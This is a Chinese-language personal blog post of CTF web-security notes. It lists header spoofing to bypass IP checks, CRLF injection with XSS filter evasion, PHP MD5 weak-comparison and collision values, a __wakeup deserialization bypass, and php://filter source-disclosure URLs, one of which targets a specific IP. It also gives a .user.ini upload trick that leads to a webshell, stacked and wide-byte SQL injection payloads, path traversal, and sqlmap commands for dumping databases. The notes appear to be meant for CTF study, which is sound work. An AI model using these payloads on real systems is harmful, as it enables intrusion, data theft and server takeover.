杂记

HTTP

本地访问

X-Real-Ip:
X-Forwarded-For:
Client-Ip:

代理(从哪个网站)

Via:

Referer(从哪个网站)

User-Agent(从哪个浏览器)

反序列化—魔术方法

__construct() //类的构造函数,创建对象时触发

__destruct() //类的析构函数,对象被销毁时触发

__call() //调用对象不可访问、不存在的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //调用不可访问、不存在的对象成员属性时触发

__set() //在给不可访问、不存在的对象成员属性赋值时触发

__isset() //当对不可访问属性调用isset()或empty()时触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //把对象当初函数调用时触发

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //把对象当成字符串调用时触发

__clone() //使用clone关键字拷贝完一个对象后触发

CRLF攻击

资料链接: https://www.cnblogs.com/studyskill/p/6972576.html

crlf顾名思义就是其中的回车和换行,造成的漏洞是HRS漏洞

在http当中http的header和body之间就是两个crlf进行分隔的

HRS漏洞就是如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP response Splitting

HRS漏洞可以造成 固定会话漏洞 和 无视filter的反射型xss漏洞

原理 一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址,对这个地址进行污染。

HRS漏洞存在的前提是 :url当中输入的字符会影响到文件,比如在重定位当中可以尝试使用%0d%0a作为crlf,

利用方式:连续使用两次%0d%oa就会造成header和body之间的分离。就可以在其中插入xss代码形成反射型xss漏洞(如何做到无视filiter?)

如何绕过服务端的filiter(xss漏洞)

1,可以在header当中注入另外的字符集<meta charset=ISO-2022-KR>

使用%0f进行标记,之后的字符就不会过滤

2,可以注入一个X-XSS-Protection:0就不会被拦截了

使用一次%0d%0a就可以注入其http header当中的代码比如注入set-cookie信息造成会话固定漏洞

防范方式:在url当中过滤%0a%0d的字符,致使其不能进行转换,或者使其不能进行污染

1.$a != $b && md5($a) == md5($b)———-a=240610708&b=s878926199a——弱类型

2.$ver1!=ver2—————–ver1[]=1&ver2[]=2

3.md和md5后都是以0e开头的字符串:(数字):240610708 ==>md5==> 0e462097431906509019562988736854

CbDLytmyGm2xQyaLNhWn

770hQgrBOjrcqftrlaZk

7r4lGXCH2Ksu2JNT3BYM

QNKCDZO

0e830400451993494058024219903391

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

*$a==md5($a)*

0e215962017 ==> 0e291242476940776845150308577824

0e1284838308 ==>0e708279691820928818722257405159

0e1137126905 ==> 0e291659922323405260514745084877

0e807097110 ==>0e318093639164485566453180786895

0e730083352 ==>0e870635875304277170259950255928

*md5($a)===md5($b) & $a != $b*

(1)数组绕过
a[]=1&b[]=2

(2)两串不一样的字符,加密结果却相同:

$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

&

$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

**(3)**构造特定字符串

4.cookie:name=php://filter/read=convert.base64-encode/resource=flag————–伪协议

寻找index.php源代码:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

若不行no back,去掉read,转换成 ?filename=php://filter//convert.iconv.a.b/resource=flag.php
抓包找漏洞

5.SELECT*FROMjava.util.LinkedHashMap$EntryxWHERE(toString(x.key).contains(“app.password”))—————————mat的sql查询password

6.add header==> X-Forwarded-For: 127.0.0.1 / X-Real-Id:127.0.0.1——————本地访问

7.IP被限制==>数据包加入X-Forwarded-For: 127.0.0.1———————-加在账号密码上一行的上一行,上一行为空白,**但是账号密码上一行必须是空行(其实随便加进去都行,只要账号密码上空出来,即自己额外加一行)

如:

X-Forwarded-For: 127.0.0.1

username=admin&&pass=6526——————-注**:管理员的账号一定是 admin

8.只有[ 、 ] 、 ( 、 ) 、 ! 和 + 这六个字符组成的是 jspfuck(呼应题目),就是不想让别人认出自己的js代码,但浏览器可识别==>把那一串字符扔进浏览器的 chrome控制台就可

\9. BASE64加密的特征:包含“==”

\10. str_replace 把字符串中的’key’替换为空可以使用类似这样的语句:kkeyey
key1可以写为 kkeyey1

\11. 常见的备份文件后缀名有: .git .svn .swp .svn .~ .bak .bash_history、11.PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

​ wakeup绕过:大于已知数,如O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}用O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}绕过 大于1即可

\12. 文件漏洞上传:
一、.user.ini

(1)先上传.user.ini:

GIF89a

auto_prepend_file=a.jpg

(改包时候一定是“.user.ini”
Content-Type: image/jpg

(2) 再上传a.jpg:
GIF89a


改包:“a.jgp”
Content-Type: image/jpeg
(3) F12查看来源:/uploads/index.php
(4) 用蚁剑连接 密码cmd
​ 点”上一级“,查看更多的文件
**
**

\13. convert.iconv过滤(bp爆破字典)

filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

\14. ?url=/var/log/nginx/access.log
nginx服务器

\15. 无授权访问:

/a.css/../ + 要访问的
如:
/a.css/../flag.html

二、SQL
\1. select 被过滤
(1) 0’;rename table words to words2;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show tables;#
然后 1‘ or 1=1 #(也是万能密码)

(2) 1’; handler 1919810931114514 open as a; handler a read next;#
(表名 单引号要反着用)
(3) 预编译:
concat 拼接: -1’;set @sql = CONCAT(‘se’,’lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#
或者
1;set sql_mode=pipes_as_concat;select 2

2.宽字节注入:
?id=1%df
%df%27

三、sqlmap**
** python sqlmap.py -u xxxxx –dbs
python sqlmap.py -r post抓包文件 –dbs

python sqlmap.py -u xxxx –data=”username=1” –dbs
数据库 -D

表 -T 表名 -tables
列 -C 列名 -columns
字段 –dump
完整:
python sqlmap.py xxxxxxxxxxxxxxxxxxx -D xx -T xx -C xx –dump

另: –batch 意思是 选项全勾


杂记
https://junske51.github.io/kele6.github.io/2024/04/15/杂记/
Author
John Doe
Posted on
April 15, 2024
Licensed under